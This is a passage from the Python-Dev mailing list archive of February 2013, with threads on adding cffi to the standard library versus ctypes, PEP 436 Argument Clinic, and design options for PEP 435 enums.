hacks involving the Windows API on a machine that doesn't have a C
compiler installed. Another possible case would be writing zip-safe
code - if cffi involves a compiled C extension, it won't work when
loaded from a zipfile.

In general, a proper, unbiased comparison between cffi and ctypes
would be useful.

BTW, I assume that the intention is that both cffi and ctypes remain
available indefinitely? Nobody's looking to deprecate ctypes?

Paul

From p.f.moore at gmail.com  Tue Feb 26 19:38:16 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Tue, 26 Feb 2013 18:38:16 +0000
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxTLnRkxbcc7547PBuBSsWbncWtJ_A0FKkjzUhBbNjx5=w@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
	<CAK5idxTLnRkxbcc7547PBuBSsWbncWtJ_A0FKkjzUhBbNjx5=w@mail.gmail.com>
Message-ID: <CACac1F8WYSfYRfuoKk4d2HXgST2QCMm0MFX3rur5H=WgReUG1Q@mail.gmail.com>

On 26 February 2013 18:34, Maciej Fijalkowski <fijall at gmail.com> wrote:
>> One point which I *think* is correct, but which I don't see noted
>> anywhere. Am I right that cffi needs a C compiler involved in the
>> process, at least somewhere? If that's the case, then it is not a
>> suitable option for at least one use case that I have, writing quick
>> hacks involving the Windows API on a machine that doesn't have a C
>> compiler installed. Another possible case would be writing zip-safe
>> code - if cffi involves a compiled C extension, it won't work when
>> loaded from a zipfile.
>
> cffi does require a C compiler during either runtime or installation,
> if you use the API. You can still use the ABI level, which is like
> ctypes, only if you need the extra stuff, you need a C compiler.

Cool, thanks. So if I use it like ctypes, cffi doesn't need a C
compiler? That's nice, I never knew that.

I definitely need to try it out. (So many projects, so little time... :-))

Paul

From fijall at gmail.com  Tue Feb 26 19:34:40 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Tue, 26 Feb 2013 20:34:40 +0200
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
Message-ID: <CAK5idxTLnRkxbcc7547PBuBSsWbncWtJ_A0FKkjzUhBbNjx5=w@mail.gmail.com>

On Tue, Feb 26, 2013 at 8:14 PM, Paul Moore <p.f.moore at gmail.com> wrote:
> On 26 February 2013 16:34, Eli Bendersky <eliben at gmail.com> wrote:
>> I'm cautiously +0.5 because I'd really like to see a strong comparison case
>> being made vs. ctypes. I've used ctypes many times and it was easy and
>> effortless (well, except the segfaults when wrong argument types are
>> declared :-). I'll be really interesting in seeing concrete examples that
>> demonstrate how CFFI is superior.
>
> I'm probably the same, mainly because I've successfully used ctypes in
> the past, but I've never used cffi. That's something I need to
> rectify.
>
> One point which I *think* is correct, but which I don't see noted
> anywhere. Am I right that cffi needs a C compiler involved in the
> process, at least somewhere? If that's the case, then it is not a
> suitable option for at least one use case that I have, writing quick
> hacks involving the Windows API on a machine that doesn't have a C
> compiler installed. Another possible case would be writing zip-safe
> code - if cffi involves a compiled C extension, it won't work when
> loaded from a zipfile.

cffi does require a C compiler during either runtime or installation,
if you use the API. You can still use the ABI level, which is like
ctypes, only if you need the extra stuff, you need a C compiler.

>
> In general, a proper, unbiased comparison between cffi and ctypes
> would be useful.

that obviously can't come from me.

From larry at hastings.org  Tue Feb 26 19:47:30 2013
From: larry at hastings.org (Larry Hastings)
Date: Tue, 26 Feb 2013 10:47:30 -0800
Subject: [Python-Dev] Announcing PEP 436: The Argument Clinic DSL
In-Reply-To: <kgimr1$q5k$1@ger.gmane.org>
References: <512BFDAB.5050103@hastings.org> <kgimr1$q5k$1@ger.gmane.org>
Message-ID: <512D0342.2060603@hastings.org>

On 02/26/2013 08:11 AM, Terry Reedy wrote:
> The PEP gives an internal, developer-focused rationale. I think there 
> is also an external, user-focused rationale. As much as possible (with 
> obvious caveats about type introspection), I think it should be 
> transparent to users (other than speed) whether a function is 
> implemented in Python or C. People who love keyword calling currently 
> have to learn which module by module and function by function. 
> Tranparency will become even more important as more modules are dual 
> coded, and as users move code between implementations. I presume some 
> of the complexities of PyArg_ParseTupleAndKeywords arise from pursuing 
> this goal. And if I understand correctly, this PEP should reduce some 
> of the complexities. The 'future goal' of C function signature info 
> will further aid transparency.
>
> This user rationale suggests that positional-only functions should be 
> discouraged.

I think positional-only functions should be discouraged, but we don't 
really need Clinic to do that.  I suppose we don't need Clinic to 
support signatures for built-in functions either, though Clinic would be 
a much bigger help in that department.

So, here's my interpretation of the above suggestion: one user-focused 
rationale for Clinic is that it'll make it easier for developers to 
write built-ins that behave identically to functions written in Python, 
and this benefits users.  Do you agree with that?

> It also suggests another future goal: a clinic backend that would 
> instead output a skeleton python file with def header lines and 
> docstrings, leaving the bodies to be filled in.

Well, right now Clinic has no visibility into variables, just 
functions.  So such a skeleton python file would be a bit incomplete.

That's mildly interesting to consider, though--telling Clinic about 
module variables, that is.  Another possible use of Clinic is to do 
conformance testing for alternative implementations, that is, having 
PyPy (for example) make sure that they got their reimplemented standard 
library API correct.


//arry/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130226/da8864b7/attachment.html>

From rdmurray at bitdance.com  Tue Feb 26 20:06:19 2013
From: rdmurray at bitdance.com (R. David Murray)
Date: Tue, 26 Feb 2013 14:06:19 -0500
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
Message-ID: <20130226190620.1FF24250BDA@webabinitio.net>

On Tue, 26 Feb 2013 18:14:26 +0000, Paul Moore <p.f.moore at gmail.com> wrote:
> BTW, I assume that the intention is that both cffi and ctypes remain
> available indefinitely? Nobody's looking to deprecate ctypes?

I would expect that ctypes would be deprecated eventually simply because
there aren't very many people interested in maintaining it, and probably
fewer if cffi is accepted.  That said, I would not expect it to leave
the stdlib until either the bit rot was so bad it wouldn't be worth
shipping it, or (more likely) we reach Python4 and decide at that time
that it is time for it to go.

Of course, this is just me talking, we only have a *very* vague "sense of
the house" for what Python4 means at this point :)

--David

From guido at python.org  Tue Feb 26 20:12:21 2013
From: guido at python.org (Guido van Rossum)
Date: Tue, 26 Feb 2013 11:12:21 -0800
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <20130226190620.1FF24250BDA@webabinitio.net>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
	<20130226190620.1FF24250BDA@webabinitio.net>
Message-ID: <CAP7+vJ+QH0k1XU+CUL1bJrjgN=z9AkLPYiFLS67YOp7kYhtd5g@mail.gmail.com>

Generally speaking, deferring something to Python 4 means "never".

On Tue, Feb 26, 2013 at 11:06 AM, R. David Murray <rdmurray at bitdance.com> wrote:
> On Tue, 26 Feb 2013 18:14:26 +0000, Paul Moore <p.f.moore at gmail.com> wrote:
>> BTW, I assume that the intention is that both cffi and ctypes remain
>> available indefinitely? Nobody's looking to deprecate ctypes?
>
> I would expect that ctypes would be deprecated eventually simply because
> there aren't very many people interested in maintaining it, and probably
> fewer if cffi is accepted.  That said, I would not expect it to leave
> the stdlib until either the bit rot was so bad it wouldn't be worth
> shipping it, or (more likely) we reach Python4 and decide at that time
> that it is time for it to go.
>
> Of course, this is just me talking, we only have a *very* vague "sense of
> the house" for what Python4 means at this point :)
>
> --David
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org



--
--Guido van Rossum (python.org/~guido)

From brett at python.org  Tue Feb 26 20:21:03 2013
From: brett at python.org (Brett Cannon)
Date: Tue, 26 Feb 2013 14:21:03 -0500
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAP7+vJ+QH0k1XU+CUL1bJrjgN=z9AkLPYiFLS67YOp7kYhtd5g@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
	<20130226190620.1FF24250BDA@webabinitio.net>
	<CAP7+vJ+QH0k1XU+CUL1bJrjgN=z9AkLPYiFLS67YOp7kYhtd5g@mail.gmail.com>
Message-ID: <CAP1=2W5+qVFEFcJ2DMoy6T+cx_acmWLWMrvbPu=0qJHqDFP5cg@mail.gmail.com>

On Tue, Feb 26, 2013 at 2:12 PM, Guido van Rossum <guido at python.org> wrote:

> Generally speaking, deferring something to Python 4 means "never".
>

Does that mean your aversion to double digit version numbers (i.e. 3.10) is
gone or you expect to freeze Python in carbonite by then?

-Brett


>
> On Tue, Feb 26, 2013 at 11:06 AM, R. David Murray <rdmurray at bitdance.com>
> wrote:
> > On Tue, 26 Feb 2013 18:14:26 +0000, Paul Moore <p.f.moore at gmail.com>
> wrote:
> >> BTW, I assume that the intention is that both cffi and ctypes remain
> >> available indefinitely? Nobody's looking to deprecate ctypes?
> >
> > I would expect that ctypes would be deprecated eventually simply because
> > there aren't very many people interested in maintaining it, and probably
> > fewer if cffi is accepted.  That said, I would not expect it to leave
> > the stdlib until either the bit rot was so bad it wouldn't be worth
> > shipping it, or (more likely) we reach Python4 and decide at that time
> > that it is time for it to go.
> >
> > Of course, this is just me talking, we only have a *very* vague "sense of
> > the house" for what Python4 means at this point :)
> >
> > --David
> > _______________________________________________
> > Python-Dev mailing list
> > Python-Dev at python.org
> > http://mail.python.org/mailman/listinfo/python-dev
> > Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/guido%40python.org
>
>
>
> --
> --Guido van Rossum (python.org/~guido)
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/brett%40python.org
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130226/18b35971/attachment.html>

From solipsis at pitrou.net  Tue Feb 26 20:17:57 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Tue, 26 Feb 2013 20:17:57 +0100
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512C5BF7.9090803@stoneleaf.us>
	<87mwur2zkz.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512CDCDC.2090509@stoneleaf.us>
Message-ID: <20130226201757.535abe3e@pitrou.net>

On Tue, 26 Feb 2013 08:03:40 -0800
Ethan Furman <ethan at stoneleaf.us> wrote:
> I'm beginning to see why enums as a class has not yet been added to Python.  We don't want to complicate the language 
> with too many choices, yet there is no One Obvious Enum to fit the wide variety of use-cases:
> 
>    - named int enums  (http status codes)
>    - named str enums  (tkinter options)
>    - named bitmask enums  (file-type options)
>    - named valueless enums  (any random set of names)
>    - named valueless-yet-orderable enums  (any not-so-random set of names ;)

I don't think valueless enums have a point. Just make them str enums.

Regards

Antoine.



From guido at python.org  Tue Feb 26 20:24:54 2013
From: guido at python.org (Guido van Rossum)
Date: Tue, 26 Feb 2013 11:24:54 -0800
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAP1=2W5+qVFEFcJ2DMoy6T+cx_acmWLWMrvbPu=0qJHqDFP5cg@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
	<20130226190620.1FF24250BDA@webabinitio.net>
	<CAP7+vJ+QH0k1XU+CUL1bJrjgN=z9AkLPYiFLS67YOp7kYhtd5g@mail.gmail.com>
	<CAP1=2W5+qVFEFcJ2DMoy6T+cx_acmWLWMrvbPu=0qJHqDFP5cg@mail.gmail.com>
Message-ID: <CAP7+vJJ8k0SUJY7aX3wqaHD+jaYPw_mi3QyMXB-k3ayJY5G=Zw@mail.gmail.com>

With 1.5 years per release, it'd be 10 years before we'd hit 3.10.
>From a software engineering perspective, 10 years is indistinguishable
from infinity, so I don't care what happens 10 years from now -- as
long as you don't blame me. :-)

On Tue, Feb 26, 2013 at 11:21 AM, Brett Cannon <brett at python.org> wrote:
>
>
>
> On Tue, Feb 26, 2013 at 2:12 PM, Guido van Rossum <guido at python.org> wrote:
>>
>> Generally speaking, deferring something to Python 4 means "never".
>
>
> Does that mean your aversion to double digit version numbers (i.e. 3.10) is
> gone or you expect to freeze Python in carbonite by then?
>
> -Brett
>
>>
>>
>> On Tue, Feb 26, 2013 at 11:06 AM, R. David Murray <rdmurray at bitdance.com>
>> wrote:
>> > On Tue, 26 Feb 2013 18:14:26 +0000, Paul Moore <p.f.moore at gmail.com>
>> > wrote:
>> >> BTW, I assume that the intention is that both cffi and ctypes remain
>> >> available indefinitely? Nobody's looking to deprecate ctypes?
>> >
>> > I would expect that ctypes would be deprecated eventually simply because
>> > there aren't very many people interested in maintaining it, and probably
>> > fewer if cffi is accepted.  That said, I would not expect it to leave
>> > the stdlib until either the bit rot was so bad it wouldn't be worth
>> > shipping it, or (more likely) we reach Python4 and decide at that time
>> > that it is time for it to go.
>> >
>> > Of course, this is just me talking, we only have a *very* vague "sense
>> > of
>> > the house" for what Python4 means at this point :)
>> >
>> > --David
>> > _______________________________________________
>> > Python-Dev mailing list
>> > Python-Dev at python.org
>> > http://mail.python.org/mailman/listinfo/python-dev
>> > Unsubscribe:
>> > http://mail.python.org/mailman/options/python-dev/guido%40python.org
>>
>>
>>
>> --
>> --Guido van Rossum (python.org/~guido)
>> _______________________________________________
>> Python-Dev mailing list
>> Python-Dev at python.org
>> http://mail.python.org/mailman/listinfo/python-dev
>> Unsubscribe:
>> http://mail.python.org/mailman/options/python-dev/brett%40python.org
>
>



--
--Guido van Rossum (python.org/~guido)

From solipsis at pitrou.net  Tue Feb 26 20:21:53 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Tue, 26 Feb 2013 20:21:53 +0100
Subject: [Python-Dev] cffi in stdlib
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
	<20130226190620.1FF24250BDA@webabinitio.net>
	<CAP7+vJ+QH0k1XU+CUL1bJrjgN=z9AkLPYiFLS67YOp7kYhtd5g@mail.gmail.com>
	<CAP1=2W5+qVFEFcJ2DMoy6T+cx_acmWLWMrvbPu=0qJHqDFP5cg@mail.gmail.com>
Message-ID: <20130226202153.2b923404@pitrou.net>

On Tue, 26 Feb 2013 14:21:03 -0500
Brett Cannon <brett at python.org> wrote:
> On Tue, Feb 26, 2013 at 2:12 PM, Guido van Rossum <guido at python.org> wrote:
> 
> > Generally speaking, deferring something to Python 4 means "never".
> >
> 
> Does that mean your aversion to double digit version numbers (i.e. 3.10) is
> gone or you expect to freeze Python in carbonite by then?

Or we'll go straight to 5.
(or switch to date-based numbering :-))

Regards

Antoine.



From ethan at stoneleaf.us  Tue Feb 26 21:16:35 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Tue, 26 Feb 2013 12:16:35 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130226201757.535abe3e@pitrou.net>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512C5BF7.9090803@stoneleaf.us>
	<87mwur2zkz.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512CDCDC.2090509@stoneleaf.us>
	<20130226201757.535abe3e@pitrou.net>
Message-ID: <512D1823.3060201@stoneleaf.us>

On 02/26/2013 11:17 AM, Antoine Pitrou wrote:
> On Tue, 26 Feb 2013 08:03:40 -0800
> Ethan Furman <ethan at stoneleaf.us> wrote:
>> I'm beginning to see why enums as a class has not yet been added to Python.  We don't want to complicate the language
>> with too many choices, yet there is no One Obvious Enum to fit the wide variety of use-cases:
>>
>>     - named int enums  (http status codes)
>>     - named str enums  (tkinter options)
>>     - named bitmask enums  (file-type options)
>>     - named valueless enums  (any random set of names)
>>     - named valueless-yet-orderable enums  (any not-so-random set of names ;)
>
> I don't think valueless enums have a point. Just make them str enums.

If they're str enums then they would compare equal with strings and be strings and that may not be desired.

--
~Ethan~

From timothy.c.delaney at gmail.com  Tue Feb 26 21:52:54 2013
From: timothy.c.delaney at gmail.com (Tim Delaney)
Date: Wed, 27 Feb 2013 07:52:54 +1100
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <kgii2p$4uv$1@ger.gmane.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us> <kgii2p$4uv$1@ger.gmane.org>
Message-ID: <CAN8CLg=G2Z0_O22gBCNvTqQ2xj=nXT3WDuh5zRRkTfk=w9LmNg@mail.gmail.com>

On 27 February 2013 01:50, Terry Reedy <tjreedy at udel.edu> wrote:

> On 2/25/2013 12:35 PM, Ethan Furman wrote:
>
>  But this I don't, and in both mine, Ted's, and Alex's versions enums
>> from different groups do not compare equal, regardless of the underlying
>> value.  Of course, this does have the potential problem of `green == 1
>> == bee` but not `green == bee` which would be a problem with set and
>> dicts -- but I'm the only one who has brought up that issue.
>>
>
> I have not been following the discussion in detail so I missed that
> before. Breaking transitivity of equality a no-no. It is basic to thought
> and logic.
>
> decimal(0) == 0 == 0.0 != decimal(0)
> was a problem we finally fixed by removing the inequality above.
> http://bugs.python.org/**issue4087 <http://bugs.python.org/issue4087>
> http://bugs.python.org/**issue4090 <http://bugs.python.org/issue4090>
>
> We should NOT knowingly re-introduce the same problem again! If color and
> animal are isolated from each other, they should each be isolated from
> everything, including int.


FWIW the only reason I made my enums int-based (and comparable with ints)
was because I read somewhere that Guido had said that any stdlib enum would
have to be an int subclass.

I have no problems with having int-like enums that:

1. Are not int subclasses;

2. Do not compare equal with ints unless explicitly converted.

I do think an int-like enum should implement both __int__ and __index__.

Tim Delaney
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130227/73824e02/attachment.html>

From greg.ewing at canterbury.ac.nz  Tue Feb 26 23:20:34 2013
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Wed, 27 Feb 2013 11:20:34 +1300
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <kgiio2$bqp$1@ger.gmane.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BF95F.1050800@canterbury.ac.nz> <kgiio2$bqp$1@ger.gmane.org>
Message-ID: <512D3532.1010402@canterbury.ac.nz>

Terry Reedy wrote:
> (The 
> non-reflexivity of NAN is a different issue, but NANs are intentionally 
> insane.)

Yes, the non-transitivity in that case only applies to
one very special value. We're talking about making
comparison non-transitive for *all* values of the
types involved, which is a whole different level of
weirdness.

-- 
Greg

From ethan at stoneleaf.us  Tue Feb 26 22:55:57 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Tue, 26 Feb 2013 13:55:57 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CAN8CLg=G2Z0_O22gBCNvTqQ2xj=nXT3WDuh5zRRkTfk=w9LmNg@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us> <kgii2p$4uv$1@ger.gmane.org>
	<CAN8CLg=G2Z0_O22gBCNvTqQ2xj=nXT3WDuh5zRRkTfk=w9LmNg@mail.gmail.com>
Message-ID: <512D2F6D.7020402@stoneleaf.us>

On 02/26/2013 12:52 PM, Tim Delaney wrote:
> On 27 February 2013 01:50, Terry Reedy <tjreedy at udel.edu <mailto:tjreedy at udel.edu>> wrote:
>> We should NOT knowingly re-introduce the same problem again! If color and animal are isolated from each other, they
>> should each be isolated from everything, including int.
>
> FWIW the only reason I made my enums int-based (and comparable with ints) was because I read somewhere that Guido had
> said that any stdlib enum would have to be an int subclass.

I recall that as well.


> I have no problems with having int-like enums that:
>
> 1. Are not int subclasses;
>
> 2. Do not compare equal with ints unless explicitly converted.
>
> I do think an int-like enum should implement both __int__ and __index__.


I think it will take more than one type of Enum to handle the myriad needs.

1) Default enumeration: valueless, unordered:

     class BreakfastMeat(Enum):
         eggs = 'from a chicken'
         ham = 'from a pig'
         spam = 'from a ... um ... '

2) non-valued, yet ordered:

     class DaysOfWeek(OrderedEnum):
         sunday = 'last day of weekend'
         monday = 'is it the 13th??'
         tuesday = 'not as bad as monday'
         wednesday = 'halfway through!'
         thursday = 'almost there...'
         friday = 'thank goodness'
         saturday = 'sleeping in!'

3) bitmask: sub-classes int, but not directly interactable (except for shifts)

     class DbfFieldOptions(BitMaskEnum):
         binary = 'no unicode translation'
         nullable = 'can store None'
         system = 'internal use only'

4) named string (based on str, basically a named constant)

     class TkGeometry(StrEnum):
         top = north = 'top'
         bottom = south = 'bottom'
         left = west = 'left'
         right = east = 'right'

5) named integer (based on int, basically a named constant)

     class RowLabels(IntEnum):
         name = 0
         address = 1
         city = 2
         state = 3
         zip = 4


In the first three examples the data in quotes is the doc string; in examples 4 and 5 the RHS is the actual value 
assigned.  For that matter, 4 and 5 could be compacted into a NamedValue class, allowing whatever type is needed (since 
set membership is not restricted anyway):

     class Constants(NamedValues):
         top = 'top', 'top, or north, edge'
         bottom = 'bottom', 'bottom, or south, edge'
         pi = 3.14159, "circle's circumference divided by it's radius"
         lucky = 7, 'come on, 7!'
         unlucky = 2, 'snake eyes!'

That would get us to three enum classes and one namedvalue class, and should cover 99% of the use cases out there.

Does anyone still reading this thread have a use case not covered by the above?

--
~Ethan~

From greg.ewing at canterbury.ac.nz  Wed Feb 27 00:15:05 2013
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Wed, 27 Feb 2013 12:15:05 +1300
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <20130226202153.2b923404@pitrou.net>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
	<20130226190620.1FF24250BDA@webabinitio.net>
	<CAP7+vJ+QH0k1XU+CUL1bJrjgN=z9AkLPYiFLS67YOp7kYhtd5g@mail.gmail.com>
	<CAP1=2W5+qVFEFcJ2DMoy6T+cx_acmWLWMrvbPu=0qJHqDFP5cg@mail.gmail.com>
	<20130226202153.2b923404@pitrou.net>
Message-ID: <512D41F9.3050109@canterbury.ac.nz>

Antoine Pitrou wrote:
> Or we'll go straight to 5.
> (or switch to date-based numbering :-))

We could go the Apple route and start naming them after
species of snake.

-- 
Greg

From greg.ewing at canterbury.ac.nz  Wed Feb 27 00:26:21 2013
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Wed, 27 Feb 2013 12:26:21 +1300
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512D2F6D.7020402@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us> <kgii2p$4uv$1@ger.gmane.org>
	<CAN8CLg=G2Z0_O22gBCNvTqQ2xj=nXT3WDuh5zRRkTfk=w9LmNg@mail.gmail.com>
	<512D2F6D.7020402@stoneleaf.us>
Message-ID: <512D449D.90504@canterbury.ac.nz>

Ethan Furman wrote:
> In the first three examples the data in quotes is the doc string; in 
> examples 4 and 5 the RHS is the actual value assigned.

What if you want to assign both values and docstrings?

-- 
Greg


From ethan at stoneleaf.us  Wed Feb 27 00:38:44 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Tue, 26 Feb 2013 15:38:44 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
